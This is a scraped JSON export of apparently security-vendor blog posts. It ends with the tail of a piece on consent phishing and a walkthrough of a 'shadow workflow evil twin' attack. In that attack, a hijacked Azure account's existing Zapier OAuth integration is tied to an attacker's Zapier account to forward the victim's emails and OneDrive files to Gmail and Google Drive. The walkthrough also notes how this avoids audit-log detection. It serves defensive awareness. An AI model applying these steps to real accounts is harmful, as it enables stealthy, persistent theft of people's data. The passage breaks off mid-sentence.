attention when you clicked “Accept” you might have noticed that you were granting some pretty serious permissions here. These permissions allow the attackers to read and write any files you have access to - they could download all these files and then delete them. The attackers also got permission to send emails as you. They could send emails to your colleagues from you and phish them too, this isn’t impersonation where the email just “looks” like it came from you, the email DID come from you. Lastly the attackers asked for permission to manipulate your Outlook settings, with this they could set up a ",{"data":205314,"content":205316,"nodeType":889},{"uri":205315},"/features/detect-malicious-mail-rules/",[205317],{"data":205318,"marks":205319,"value":205320,"nodeType":865},{},[],"mail forwarding rule",{"data":205322,"marks":205323,"value":205324,"nodeType":865},{},[]," so that they get copies of all your emails forwarded to them directly without even having to log in. And all of this happens until you delete the underlying OAuth app.",{"data":205326,"content":205327,"nodeType":866},{},[205328,205332,205339],{"data":205329,"marks":205330,"value":205331,"nodeType":865},{},[],"In a ",{"data":205333,"content":205335,"nodeType":889},{"uri":205334},"https://www.microsoft.com/security/blog/2020/07/08/protecting-remote-workforce-application-attacks-consent-phishing/",[205336],{"data":205337,"marks":205338,"value":203860,"nodeType":865},{},[],{"data":205340,"marks":205341,"value":205342,"nodeType":865},{},[]," Microsoft warns that these attacks are on the rise. One notable example of this comes from the SANS Institute. They reported in August of 2020 that they had fallen victim to one of these attacks. As part of the investigation they produced a report with details on how the attackers managed to convince an employee to install a malicious Microsoft 365 add-in to gain access. ",{"data":205344,"content":205345,"nodeType":866},{},[205346,205350,205358],{"data":205347,"marks":205348,"value":205349,"nodeType":865},{},[],"So what can you do about this threat today? The only fool proof method of preventing this kind of attack is to prevent users from granting access to third party apps. This is terrible for users though, and you’ll be missing out on all the productivity benefits these apps can bring. A more balanced approach is to let users find and request apps, but have administrators approve the apps. More and more platforms (including Microsoft 365 and Slack) are offering built-in “admin consent” workflows to make getting a second pair of eyes on new apps even easier. You can also make it even easier for users  by pre-approving widely used apps from trusted publishers and users won’t even notice there is new protection in place 99% of the time. We are also actively working on this problem and if you would like to join our ",{"data":205351,"content":205353,"nodeType":889},{"uri":205352},"/features/secure-oauth-permissions-and-applications/",[205354],{"data":205355,"marks":205356,"value":205357,"nodeType":865},{},[],"early access program",{"data":205359,"marks":205360,"value":205361,"nodeType":865},{},[]," please get in touch.",{"data":205363,"content":205364,"nodeType":866},{},[205365,205369,205376,205379,205385],{"data":205366,"marks":205367,"value":205368,"nodeType":865},{},[],"Consent phishing is still an emerging technique and we believe that it has not reached peak usage by attackers yet. We are actively researching this attack technique as it continues to evolve. Follow us on Twitter ",{"data":205370,"content":205371,"nodeType":889},{"uri":127686},[205372],{"data":205373,"marks":205374,"value":205375,"nodeType":865},{},[],"@pushsecurity",{"data":205377,"marks":205378,"value":2717,"nodeType":865},{},[],{"data":205380,"content":205381,"nodeType":889},{"uri":127672},[205382],{"data":205383,"marks":205384,"value":127679,"nodeType":865},{},[],{"data":205386,"marks":205387,"value":205388,"nodeType":865},{},[]," or subscribe to our mailing list below to get the latest updates and tips for managing this for your users.","Consent phishing: the emerging phishing technique that can bypass 2FA","Consent phishing is an emerging technique attackers are using to compromise user accounts, even if they have Multi-factor Authentication (MFA or 2FA) enabled.","2021-07-06T00:00:00.000+01:00","consent-phishing-the-emerging-phishing-technique-that-can-bypass-2fa",{"items":205394},[205395,205397],{"sys":205396,"name":7796},{"id":7795},{"sys":205398,"name":342},{"id":4642},{"items":205400},[205401],{"fullName":205402,"firstName":4615,"jobTitle":205403,"profilePicture":205404},"Alex Triaca","Chief Architect",{"url":205405},"https://images.ctfassets.net/y1cdw1ablpvd/LmC3LyTH5V9NthbqKuqA2/8291887e41c15613bf98f6fd55773817/117-0-2.jpg","okta-swa","blog/okta-swa",{"json":205409},{"data":205410,"content":205411,"nodeType":1382},{},[205412],{"data":205413,"content":205414,"nodeType":866},{},[205415],{"data":205416,"marks":205417,"value":205418,"nodeType":865},{},[],"In this article, we’ll discuss and demonstrate why Okta's SWA isn't the same or as secure as using SAML and OIDC authentication methods for SSO.\n","We'll cover the implications of using Okta's SWA authentication method. Learn what security teams need to know in an account breach and IR scenario. ",{"id":205421,"publishedAt":205422},"1te7lpcknxuN73jdCdkXjd","2026-08-13T09:35:30.843Z",{"items":205424},[205425,205427],{"sys":205426,"name":297},{"id":2310},{"sys":205428,"name":342},{"id":4642},{"items":205430},[205431,205433,205435,205437,205439,205441,205443,205445,205447,205449,205451],{"sys":205432,"name":279,"slug":280,"tier":31},{"id":276},{"sys":205434,"name":413,"slug":414,"tier":31},{"id":410},{"sys":205436,"name":545,"slug":546,"tier":31},{"id":542},{"sys":205438,"name":297,"slug":298,"tier":31},{"id":294},{"sys":205440,"name":342,"slug":343,"tier":31},{"id":339},{"sys":205442,"name":404,"slug":405,"tier":45},{"id":401},{"sys":205444,"name":571,"slug":572,"tier":45},{"id":568},{"sys":205446,"name":502,"slug":503,"tier":45},{"id":499},{"sys":205448,"name":395,"slug":396,"tier":45},{"id":392},{"sys":205450,"name":484,"slug":485,"tier":45},{"id":481},{"sys":205452,"name":598,"slug":599,"tier":45},{"id":595},"h-WNFaGzdRTPJF9qOFIS_yyC7JgZMN6_vS4PUbbDCrE",{"id":205455,"title":205456,"authorsCollection":205457,"content":205462,"extension":228,"faqItemsCollection":206477,"faqTitle":59,"featured":6,"hashTags":59,"meta":206479,"metaTitle":206480,"ogImage":59,"postType":42959,"publishedDate":206481,"relatedBlogPostsCollection":206482,"slug":208071,"stem":208072,"subtitle":59,"summary":208073,"synopsis":205472,"sys":208084,"tagsCollection":208087,"topicsCollection":208093,"__hash__":208115},"blog/blog/nearly-invisible-attack-chain.json","The shadow workflow’s evil twin: A nearly invisible attack chain",{"items":205458},[205459],{"fullName":11421,"firstName":11422,"jobTitle":11423,"socialLinks":205460,"profilePicture":205461},[62480],{"url":11425},{"json":205463,"links":206339},{"data":205464,"content":205465,"nodeType":1382},{},[205466,205473,205480,205511,205518,205525,205543,205550,205557,205564,205592,205599,205606,205622,205629,205636,205669,205676,205683,205690,205697,205704,205710,205717,205724,205731,205739,205746,205766,205773,205780,205787,205794,205801,205808,205815,205822,205829,205835,205842,205861,205868,205887,205893,205899,205905,205912,205919,205926,205932,205938,205945,205952,205959,205966,205973,205979,205999,206018,206025,206031,206037,206044,206051,206058,206065,206088,206094,206100,206107,206114,206121,206132,206138,206145,206151,206157,206164,206171,206178,206184,206190,206196,206203,206319,206325,206332],{"data":205467,"content":205468,"nodeType":866},{},[205469],{"data":205470,"marks":205471,"value":205472,"nodeType":865},{},[],"In this article, we’re going to demonstrate how combining two of our favorite new SaaS attack techniques makes a simple, but very stealthy persistence approach.",{"data":205474,"content":205475,"nodeType":866},{},[205476],{"data":205477,"marks":205478,"value":205479,"nodeType":865},{},[],"—----",{"data":205481,"content":205482,"nodeType":866},{},[205483,205487,205494,205498,205508],{"data":205484,"marks":205485,"value":205486,"nodeType":865},{},[],"This is the second post in a series on attack chains formed by combining techniques in the ",{"data":205488,"content":205489,"nodeType":889},{"uri":13171},[205490],{"data":205491,"marks":205492,"value":12528,"nodeType":865},{},[205493],{"type":943},{"data":205495,"marks":205496,"value":205497,"nodeType":865},{},[],". Last post we wrote about ",{"data":205499,"content":205502,"nodeType":33606},{"target":205500},{"sys":205501},{"id":194180,"type":909,"linkType":910},[205503],{"data":205504,"marks":205505,"value":205507,"nodeType":865},{},[205506],{"type":943},"SAMLjacking a poisoned tenant",{"data":205509,"marks":205510,"value":14251,"nodeType":865},{},[],{"data":205512,"content":205513,"nodeType":866},{},[205514],{"data":205515,"marks":205516,"value":205517,"nodeType":865},{},[],"This time we’ll be looking at combining shadow workflows with an evil twin integration for an especially sneaky and flexible method of persistence. We’ll be using Zapier integrating with Azure as our primary example. ",{"data":205519,"content":205520,"nodeType":981},{},[205521],{"data":205522,"marks":205523,"value":205524,"nodeType":865},{},[],"What is a shadow workflow?",{"data":205526,"content":205527,"nodeType":866},{},[205528,205531,205539],{"data":205529,"marks":205530,"value":995,"nodeType":865},{},[],{"data":205532,"content":205533,"nodeType":889},{"uri":145802},[205534],{"data":205535,"marks":205536,"value":205538,"nodeType":865},{},[205537],{"type":943},"shadow workflow ",{"data":205540,"marks":205541,"value":205542,"nodeType":865},{},[],"is a technique for using SaaS automation apps to provide a code execution-like method for conducting malicious actions from a legitimate source using OAuth integrations. This could be a daily export of files from shared cloud drives, automatic forwarding and deleting of emails, cloning instant messages, exporting user directories — basically anything that is possible using the target app’s API. ",{"data":205544,"content":205545,"nodeType":866},{},[205546],{"data":205547,"marks":205548,"value":205549,"nodeType":865},{},[],"The fact automation apps utilize OAuth integrations means they also function as a very effective method of maintaining persistence. Think of shadow workflows as the offensive PowerShell of the SaaS world. ",{"data":205551,"content":205552,"nodeType":981},{},[205553],{"data":205554,"marks":205555,"value":205556,"nodeType":865},{},[],"What’s an evil twin integration?",{"data":205558,"content":205559,"nodeType":866},{},[205560],{"data":205561,"marks":205562,"value":205563,"nodeType":865},{},[],"Creating a new OAuth integration, even if using a legitimate SaaS application, could be viewed as suspicious if seen by a security team or the affected user. This is especially true if an account compromise is discovered and an IR team sees a consent for a new OAuth integration in the log that the compromised user does not recognize. ",{"data":205565,"content":205566,"nodeType":866},{},[205567,205571,205578,205582,205588],{"data":205568,"marks":205569,"value":205570,"nodeType":865},{},[],"An ",{"data":205572,"content":205573,"nodeType":889},{"uri":101198},[205574],{"data":205575,"marks":205576,"value":178163,"nodeType":865},{},[205577],{"type":943},{"data":205579,"marks":205580,"value":205581,"nodeType":865},{},[],", however, reduces the chances of discovery by reusing an existing ",{"data":205583,"marks":205584,"value":205587,"nodeType":865},{},[205585,205586],{"type":898},{"type":926},"legitimate",{"data":205589,"marks":205590,"value":205591,"nodeType":865},{},[]," integration for malicious purposes.",{"data":205593,"content":205594,"nodeType":981},{},[205595],{"data":205596,"marks":205597,"value":205598,"nodeType":865},{},[],"What’s the benefit of combining them?",{"data":205600,"content":205601,"nodeType":866},{},[205602],{"data":205603,"marks":205604,"value":205605,"nodeType":865},{},[],"While shadow workflows are incredibly powerful on their own, as malicious use of OAuth integrations becomes more common, security teams will start regularly checking for new, or unknown, integrations in response to security incidents. While automation apps are legitimate SaaS services, shadow workflow attacks could still raise question marks during incident response if it’s connected shortly after a compromise and/or if the affected user has no knowledge of it. ",{"data":205607,"content":205608,"nodeType":866},{},[205609,205613,205618],{"data":205610,"marks":205611,"value":205612,"nodeType":865},{},[],"Additionally, as use of security tools that ",{"data":205614,"marks":205615,"value":205617,"nodeType":865},{},[205616],{"type":943},"provide visibility of OAuth integrations",{"data":205619,"marks":205620,"value":205621,"nodeType":865},{},[]," (check out our product) increases, it will become increasingly dangerous for an adversary to create a new OAuth integration. That’s because the target user and possibly even security teams may be notified.",{"data":205623,"content":205624,"nodeType":866},{},[205625],{"data":205626,"marks":205627,"value":205628,"nodeType":865},{},[],"This leads us on to evil twin integrations. Their power is in making use of existing integrations so they can avoid appearing as a new integration and getting flagged or sending alerts to security teams. That makes them much stealthier and increases the likelihood of a successful attack. ",{"data":205630,"content":205631,"nodeType":866},{},[205632],{"data":205633,"marks":205634,"value":205635,"nodeType":865},{},[],"There are three possibilities here that lead to two different levels of stealth for the attack:",{"data":205637,"content":205638,"nodeType":204043},{},[205639,205649,205659],{"data":205640,"content":205641,"nodeType":1570},{},[205642],{"data":205643,"content":205644,"nodeType":866},{},[205645],{"data":205646,"marks":205647,"value":205648,"nodeType":865},{},[],"Medium stealth option: Making use of an automation app used legitimately by the organization, but not by the target user, specifically",{"data":205650,"content":205651,"nodeType":1570},{},[205652],{"data":205653,"content":205654,"nodeType":866},{},[205655],{"data":205656,"marks":205657,"value":205658,"nodeType":865},{},[],"High stealth option 1: Making use of an automation app used legitimately by the target user themselves",{"data":205660,"content":205661,"nodeType":1570},{},[205662],{"data":205663,"content":205664,"nodeType":866},{},[205665],{"data":205666,"marks":205667,"value":205668,"nodeType":865},{},[],"High stealth option 2: Making use of an automation app that has been granted admin consent",{"data":205670,"content":205671,"nodeType":1317},{},[205672],{"data":205673,"marks":205674,"value":205675,"nodeType":865},{},[],"Medium stealth option: Pre-existing use by organization",{"data":205677,"content":205678,"nodeType":866},{},[205679],{"data":205680,"marks":205681,"value":205682,"nodeType":865},{},[],"This option is by far the most likely option to be applicable in a real-world situation. Here’s how it works:",{"data":205684,"content":205685,"nodeType":866},{},[205686],{"data":205687,"marks":205688,"value":205689,"nodeType":865},{},[],"The consent for the targeted user will be new and will generate an audit event to show that, but the integration itself will not be new inside the organization and may even be formally approved by the security team already. This will help evade general detection mechanisms as it won’t be seen as a brand new integration at the organization level that requires careful scrutiny. It’s much harder to evaluate new consents on a per-user basis for existing integrations if the organization is of any significant size.",{"data":205691,"content":205692,"nodeType":866},{},[205693],{"data":205694,"marks":205695,"value":205696,"nodeType":865},{},[],"The downside, however, is that this attack stands a greater chance of detection if notifications are delivered directly to the affected user. Alternatively, if the original compromise is discovered, incident responders are more likely to discover this consent during an investigation. That’s because the affected user would know they aren’t using the automation app and incident responders are likely to explore logs showing consents to new OAuth integrations and permissions shortly after a successful compromise.",{"data":205698,"content":205699,"nodeType":866},{},[205700],{"data":205701,"marks":205702,"value":205703,"nodeType":865},{},[],"Using Azure as an example, while no new service principal is created in this case, the audit logs still show a new consent for the targeted user to the existing Zapier app: ",{"data":205705,"content":205709,"nodeType":912},{"target":205706},{"sys":205707},{"id":205708,"type":909,"linkType":910},"7m0E0sOulc348jhQguQLb1",[],{"data":205711,"content":205712,"nodeType":1317},{},[205713],{"data":205714,"marks":205715,"value":205716,"nodeType":865},{},[],"High stealth option 1: Pre-existing use by targeted user",{"data":205718,"content":205719,"nodeType":866},{},[205720],{"data":205721,"marks":205722,"value":205723,"nodeType":865},{},[],"This is the holy grail option, but is likely to require more luck in the real world. It requires that the target user is already using an automation app, which the adversary could compromise and utilize. If the compromised user has already consented to permissions useful to the adversary, such as access to sensitive data like email and file stores, then new malicious workflows can be created without requiring the user to consent to new permissions. ",{"data":205725,"content":205726,"nodeType":866},{},[205727],{"data":205728,"marks":205729,"value":205730,"nodeType":865},{},[],"Consequently, there will be no new integration observed at the organization level, no new user-specific consents for sensitive permissions and the target user would indicate they’re just using a legitimate app if questioned by incident responders. ",{"data":205732,"content":205733,"nodeType":866},{},[205734],{"data":205735,"marks":205736,"value":205738,"nodeType":865},{},[205737],{"type":926},"None of the three audit log entries shown above would be present in this scenario either.",{"data":205740,"content":205741,"nodeType":1317},{},[205742],{"data":205743,"marks":205744,"value":205745,"nodeType":865},{},[],"High stealth option 2: Azure admin consented app",{"data":205747,"content":205748,"nodeType":866},{},[205749,205753,205762],{"data":205750,"marks":205751,"value":205752,"nodeType":865},{},[],"There is a mixed scenario when permissions for an automation app (or any app you want to use for an evil twin integration) have been granted tenant-wide ",{"data":205754,"content":205756,"nodeType":889},{"uri":205755},"https://learn.microsoft.com/en-us/azure/active-directory/manage-apps/user-admin-consent-overview#admin-consent",[205757],{"data":205758,"marks":205759,"value":205761,"nodeType":865},{},[205760],{"type":943},"admin consent in Azure",{"data":205763,"marks":205764,"value":205765,"nodeType":865},{},[],". In this case, the administrator has effectively consented to permissions for all users, even if they aren’t currently active users of the app. ",{"data":205767,"content":205768,"nodeType":866},{},[205769],{"data":205770,"marks":205771,"value":205772,"nodeType":865},{},[],"This means when a new user integrates the app, it does not generate a new permission grant since it is effectively already granted. Consequently, the three log entries shown above would not be present in this scenario even if integrating the app for a user that has never used it before.",{"data":205774,"content":205775,"nodeType":866},{},[205776],{"data":205777,"marks":205778,"value":205779,"nodeType":865},{},[],"This gives the best level of flexibility for an adversary as they can avoid generating new permission grant logs for any user. However, it's not quite as stealthy as when the targeted user already makes use of the app as there is no history of legitimate app logins or activity for the user prior to the compromise to blend in with.",{"data":205781,"content":205782,"nodeType":981},{},[205783],{"data":205784,"marks":205785,"value":205786,"nodeType":865},{},[],"An example attack - Zapier",{"data":205788,"content":205789,"nodeType":866},{},[205790],{"data":205791,"marks":205792,"value":205793,"nodeType":865},{},[],"In this case, we’re going to use Zapier as our automation app example and Azure as the primary target for integrations and there will be no admin consent involved. We’ll also be using Google Workspace for data exfiltration. There are many other examples we could have used here, though - Make.com, IFTTT, Retool, Tines, Microsoft Power Automate and many other SaaS apps have powerful automation and integration capabilities and could be used for similar purposes. ",{"data":205795,"content":205796,"nodeType":866},{},[205797],{"data":205798,"marks":205799,"value":205800,"nodeType":865},{},[],"Azure and Google Workspace are also obvious juicy targets for integrations, but automation apps support integrations with vast numbers of other SaaS applications,so there are many possible targets.",{"data":205802,"content":205803,"nodeType":866},{},[205804],{"data":205805,"marks":205806,"value":205807,"nodeType":865},{},[],"So, let’s say we’ve compromised a target user’s Azure account. Perhaps we have conducted a successful credential stuffing attack, a phishing attack including MFA code proxying or even achieved a traditional endpoint compromise and have stolen the user’s session tokens.",{"data":205809,"content":205810,"nodeType":866},{},[205811],{"data":205812,"marks":205813,"value":205814,"nodeType":865},{},[],"Whatever the case, we have temporary control of the user’s account, either until the session expires or the user changes their password. If the original compromise is detected, that could happen quickly, so we want to conduct some malicious actions to make use of the access while we have it and to also gain persistence so we maintain our access beyond a password change.",{"data":205816,"content":205817,"nodeType":866},{},[205818],{"data":205819,"marks":205820,"value":205821,"nodeType":865},{},[],"We want to use an automation app, but we’d prefer to be as stealthy as possible by also making it an evil twin integration. We’d like to see if the target user has existing integrations with any apps we’d like to use - especially an automation app for that high stealth option we mentioned above. ",{"data":205823,"content":205824,"nodeType":866},{},[205825],{"data":205826,"marks":205827,"value":205828,"nodeType":865},{},[],"We’ve created a video demo of the full attack below. A step by step write up with more detail then follows:",{"data":205830,"content":205834,"nodeType":912},{"target":205831},{"sys":205832},{"id":205833,"type":909,"linkType":910},"E1ZHBcjGLZAno0SRtJ3d3",[],{"data":205836,"content":205837,"nodeType":981},{},[205838],{"data":205839,"marks":205840,"value":205841,"nodeType":865},{},[],"Step 1 - Enumerating potential targets",{"data":205843,"content":205844,"nodeType":866},{},[205845,205849,205857],{"data":205846,"marks":205847,"value":205848,"nodeType":865},{},[],"We could perform something as simple as an email search for evidence of sign-ups, but that won’t necessarily show us if actual OAuth integrations have been configured and what permissions are in use. What we really need is a way to perform an ",{"data":205850,"content":205851,"nodeType":889},{"uri":169927},[205852],{"data":205853,"marks":205854,"value":205856,"nodeType":865},{},[205855],{"type":943},"OAuth token enumeration",{"data":205858,"marks":205859,"value":205860,"nodeType":865},{},[]," attack.",{"data":205862,"content":205863,"nodeType":1317},{},[205864],{"data":205865,"marks":205866,"value":205867,"nodeType":865},{},[],"The first method: myapps.microsoft.com",{"data":205869,"content":205870,"nodeType":866},{},[205871,205875,205883],{"data":205872,"marks":205873,"value":205874,"nodeType":865},{},[],"Make use of ",{"data":205876,"content":205878,"nodeType":889},{"uri":205877},"https://myapps.microsoft.com",[205879],{"data":205880,"marks":205881,"value":205877,"nodeType":865},{},[205882],{"type":943},{"data":205884,"marks":205885,"value":205886,"nodeType":865},{},[]," to see which apps are listed and which permissions have been granted. We can see Zapier is in use and the user has granted it access to their email and files, making it a great target.",{"data":205888,"content":205892,"nodeType":912},{"target":205889},{"sys":205890},{"id":205891,"type":909,"linkType":910},"6dDez7xRZjliEJR6DAkWHa",[],{"data":205894,"content":205898,"nodeType":912},{"target":205895},{"sys":205896},{"id":205897,"type":909,"linkType":910},"7M0imWv4n3z1RYQu3AdMF5",[],{"data":205900,"content":205904,"nodeType":912},{"target":205901},{"sys":205902},{"id":205903,"type":909,"linkType":910},"3fwFBK03tc5g064k0IyADO",[],{"data":205906,"content":205907,"nodeType":1317},{},[205908],{"data":205909,"marks":205910,"value":205911,"nodeType":865},{},[],"The second method: Microsoft’s graph API",{"data":205913,"content":205914,"nodeType":866},{},[205915],{"data":205916,"marks":205917,"value":205918,"nodeType":865},{},[],"\nMicrosoft’s graph API doesn’t make it possible to list out service principals without admin permissions, but you can enumerate individual OAuth permission grants and app role assignments for your own user account. ",{"data":205920,"content":205921,"nodeType":866},{},[205922],{"data":205923,"marks":205924,"value":205925,"nodeType":865},{},[],"The client ID listed for permission grants is actually the tenant-specific service principal ID, rather than the globally unique OAuth app ID, but the app role assignments call gives us the app display name. We can match up the IDs from the app role assignments with the OAuth permission grants to see which permissions have been granted to the given app. ",{"data":205927,"content":205931,"nodeType":912},{"target":205928},{"sys":205929},{"id":205930,"type":909,"linkType":910},"519mlRMbaZYBAVdSADwop7",[],{"data":205933,"content":205937,"nodeType":912},{"target":205934},{"sys":205935},{"id":205936,"type":909,"linkType":910},"3g4WBQBEvqx5mXXnZzZzUG",[],{"data":205939,"content":205940,"nodeType":981},{},[205941],{"data":205942,"marks":205943,"value":205944,"nodeType":865},{},[],"Step 2 - Create shadow workflows",{"data":205946,"content":205947,"nodeType":866},{},[205948],{"data":205949,"marks":205950,"value":205951,"nodeType":865},{},[],"Ok, so we’ve figured out the user already makes use of Zapier and they’ve even already granted access to their email and files - that’s a juicy target we can’t turn down! So the next step is to create our own malicious workflows, or shadow workflows if you will, to get Zapier to do our dirty work for us.",{"data":205953,"content":205954,"nodeType":866},{},[205955],{"data":205956,"marks":205957,"value":205958,"nodeType":865},{},[],"First of all, we’ll see if we can scope out the user’s existing Zapier account to better understand the setup. Then we’ll create a new Zapier account and link it to the target user’s account that we’ve compromised. Here’s how that would work:",{"data":205960,"content":205961,"nodeType":1317},{},[205962],{"data":205963,"marks":205964,"value":205965,"nodeType":865},{},[],"Scope out the existing Zapier account",{"data":205967,"content":205968,"nodeType":866},{},[205969],{"data":205970,"marks":205971,"value":205972,"nodeType":865},{},[],"If the user uses SSO or social logins then we can login directly and, since we now control their Azure account, we can just log directly into their Zapier account!",{"data":205974,"content":205978,"nodeType":912},{"target":205975},{"sys":205976},{"id":205977,"type":909,"linkType":910},"5IgmxUEm6n19OBL1cSZVkr",[],{"data":205980,"content":205981,"nodeType":866},{},[205982,205986,205995],{"data":205983,"marks":205984,"value":205985,"nodeType":865},{},[],"Alternatively, if they have created a standard password account, then we might already know the password if it’s the same used for their Azure account. Otherwise, we could potentially make use of an ",{"data":205987,"content":205989,"nodeType":889},{"uri":205988},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/account_recovery/description.md",[205990],{"data":205991,"marks":205992,"value":205994,"nodeType":865},{},[205993],{"type":943},"account recovery",{"data":205996,"marks":205997,"value":205998,"nodeType":865},{},[]," attack to gain access.",{"data":206000,"content":206001,"nodeType":866},{},[206002,206006,206014],{"data":206003,"marks":206004,"value":206005,"nodeType":865},{},[],"Once we have logged into their account, we can see their existing workflows and integrations. Technically, we could backdoor these or create new ones - a form of an ",{"data":206007,"content":206008,"nodeType":889},{"uri":170004},[206009],{"data":206010,"marks":206011,"value":206013,"nodeType":865},{},[206012],{"type":943},"abuse existing OAuth integrations",{"data":206015,"marks":206016,"value":206017,"nodeType":865},{},[]," attack. However, that runs the risk of the user discovering our shadow workflows and also almost certainly being locked out of the account during the next password change. ",{"data":206019,"content":206020,"nodeType":866},{},[206021],{"data":206022,"marks":206023,"value":206024,"nodeType":865},{},[],"Instead, we can stick to an evil twin integration from our own Zapier account, which we’ll create later.",{"data":206026,"content":206030,"nodeType":912},{"target":206027},{"sys":206028},{"id":206029,"type":909,"linkType":910},"2vhyTcVLq27QVa2HFFWBhH",[],{"data":206032,"content":206036,"nodeType":912},{"target":206033},{"sys":206034},{"id":206035,"type":909,"linkType":910},"3jPSdBPSQgigA4yKK1udCV",[],{"data":206038,"content":206039,"nodeType":866},{},[206040],{"data":206041,"marks":206042,"value":206043,"nodeType":865},{},[],"Now we can see what the user was actually using Zapier for — they’ve set up an integration with both Outlook and OneDrive so they can forward emails related to their business expenses to a folder in their OneDrive. Probably a time-saving hack, which we can take advantage of since it won’t be unusual to see Zapier regularly accessing their Outlook and OneDrive. That means our attack will be extra stealthy.",{"data":206045,"content":206046,"nodeType":1317},{},[206047],{"data":206048,"marks":206049,"value":206050,"nodeType":865},{},[],"Create our own malicious Zapier account",{"data":206052,"content":206053,"nodeType":866},{},[206054],{"data":206055,"marks":206056,"value":206057,"nodeType":865},{},[],"Given in this case we, at least temporarily, control the user’s Azure account there is nothing stopping us connecting this to our own malicious Zapier account completely separately from the user’s legitimate Zapier account. We then maintain full control over the Zapier account and the user will not be able to discover our shadow workflows as they won’t have any knowledge of our Zapier account: ",{"data":206059,"content":206060,"nodeType":866},{},[206061],{"data":206062,"marks":206063,"value":206064,"nodeType":865},{},[],"Let’s create our own shadow workflows:",{"data":206066,"content":206067,"nodeType":1616},{},[206068,206078],{"data":206069,"content":206070,"nodeType":1570},{},[206071],{"data":206072,"content":206073,"nodeType":866},{},[206074],{"data":206075,"marks":206076,"value":206077,"nodeType":865},{},[],"One that sends every new OneDrive file to our own separate Google Drive account. This allows us to maintain a complete view of the user’s files into the future. ",{"data":206079,"content":206080,"nodeType":1570},{},[206081],{"data":206082,"content":206083,"nodeType":866},{},[206084],{"data":206085,"marks":206086,"value":206087,"nodeType":865},{},[],"And one to forward every new Outlook email to our own GMail account.",{"data":206089,"content":206093,"nodeType":912},{"target":206090},{"sys":206091},{"id":206092,"type":909,"linkType":910},"6eK8uNjPnkrfVjgFzl03SM",[],{"data":206095,"content":206099,"nodeType":912},{"target":206096},{"sys":206097},{"id":206098,"type":909,"linkType":910},"6xJvuS374tbflAoNmhnqYP",[],{"data":206101,"content":206102,"nodeType":866},{},[206103],{"data":206104,"marks":206105,"value":206106,"nodeType":865},{},[],"We can now see we are logged in with a separate GMail account, but have created shadow workflows to forward emails from the user’s Outlook to our GMail account and harvest files from their OneDrive to our Google Drive.",{"data":206108,"content":206109,"nodeType":866},{},[206110],{"data":206111,"marks":206112,"value":206113,"nodeType":865},{},[],"The major benefit of creating our own Zapier account for an evil twin integration is that once we are locked out of the target user’s account via a password change or otherwise, not only do our existing shadow workflows continue to operate via OAuth, but we are able to create new shadow workflows and reuse the existing OAuth connections. That’s the power of having full control of the Zapier account. ",{"data":206115,"content":206116,"nodeType":866},{},[206117],{"data":206118,"marks":206119,"value":206120,"nodeType":865},{},[],"One small downside to this approach is that creating the new OAuth integrations inside a new Zapier account generates an interactive login event for the Zapier integrations from the adversary’s IP address. This occurs due to creating integrations from the new Zapier account, but because the user has already consented to all the relevant permissions for Zapier’s own OAuth apps there are no audit logs for new consents or applications, just the login event itself. ",{"data":206122,"content":206123,"nodeType":866},{},[206124,206128],{"data":206125,"marks":206126,"value":206127,"nodeType":865},{},[],"However, determining that a successful login to an app a user legitimately uses is actually malicious in this case is obviously extremely difficult to build detection logic for.   ",{"data":206129,"marks":206130,"value":5959,"nodeType":865},{},[206131],{"type":898},{"data":206133,"content":206137,"nodeType":912},{"target":206134},{"sys":206135},{"id":206136,"type":909,"linkType":910},"1oZBtlL8rNl7TjmfJqRjUG",[],{"data":206139,"content":206140,"nodeType":866},{},[206141],{"data":206142,"marks":206143,"value":206144,"nodeType":865},{},[],"Beyond the initial login events, the only evidence of malicious activity in the future will be from the activity logs showing the actions conducted by our shadow workflows every time they are triggered to run. For example, the following screenshots show that the Zapier Todo app (ClientAppId 29246358-1970-4d6d-bc75-acf34edc758b) has been seen both uploading a file and downloading a file: \n",{"data":206146,"content":206150,"nodeType":912},{"target":206147},{"sys":206148},{"id":206149,"type":909,"linkType":910},"2vYOSilB5W05aIHw2ZKqdC",[],{"data":206152,"content":206156,"nodeType":912},{"target":206153},{"sys":206154},{"id":206155,"type":909,"linkType":910},"2fFwrdFO25BwY4vI7EKMA0",[],{"data":206158,"content":206159,"nodeType":866},{},[206160],{"data":206161,"marks":206162,"value":206163,"nodeType":865},{},[],"The file upload in this case relates to the legitimate workflow and the file download relates to the shadow workflow. The IP addresses relate to Zapier’s legitimate infrastructure so really only a very thorough and specific investigation is going to be able to uncover that one of these events is malicious.",{"data":206165,"content":206166,"nodeType":981},{},[206167],{"data":206168,"marks":206169,"value":206170,"nodeType":865},{},[],"Step 3 - Profit",{"data":206172,"content":206173,"nodeType":866},{},[206174],{"data":206175,"marks":206176,"value":206177,"nodeType":865},{},[],"Now we just need to sit back and let our shadow workflows do the work for us, 24/7 and from Zapier’s infrastructure via a legitimate OAuth integration. Here we can see files the user created in OneDrive and emails they received in Outlook mirrored to our own GMail and Google Drive via the magic of shadow workflows.",{"data":206179,"content":206183,"nodeType":912},{"target":206180},{"sys":206181},{"id":206182,"type":909,"linkType":910},"4lJBrdJLEVnhBUjgtGo8T1",[],{"data":206185,"content":206189,"nodeType":912},{"target":206186},{"sys":206187},{"id":206188,"type":909,"linkType":910},"azQ3IO0n4Idih5LDwOogV",[],{"data":206191,"content":206192,"nodeType":981},{},[206193],{"data":206194,"marks":206195,"value":41284,"nodeType":865},{},[],{"data":206197,"content":206198,"nodeType":866},{},[206199],{"data":206200,"marks":206201,"value":206202,"nodeType":865},{},[],"Ok, we’ve covered a lot of ground here so it’s worth taking a step back and considering the key impact points of this attack chain:",{"data":206204,"content":206205,"nodeType":1616},{},[206206,206216,206226,206236,206246,206299,206309],{"data":206207,"content":206208,"nodeType":1570},{},[206209],{"data":206210,"content":206211,"nodeType":866},{},[206212],{"data":206213,"marks":206214,"value":206215,"nodeType":865},{},[],"An adversary who has gained (temporary) access to a user account that supports OAuth integrations can use shadow workflows to execute malicious actions and to maintain persistence",{"data":206217,"content":206218,"nodeType":1570},{},[206219],{"data":206220,"content":206221,"nodeType":866},{},[206222],{"data":206223,"marks":206224,"value":206225,"nodeType":865},{},[],"This access will continue even if the user changes their password or resets MFA",{"data":206227,"content":206228,"nodeType":1570},{},[206229],{"data":206230,"content":206231,"nodeType":866},{},[206232],{"data":206233,"marks":206234,"value":206235,"nodeType":865},{},[],"Not only do existing shadow workflows continue to work after password changes, an adversary can continue to create new ones and reuse the existing 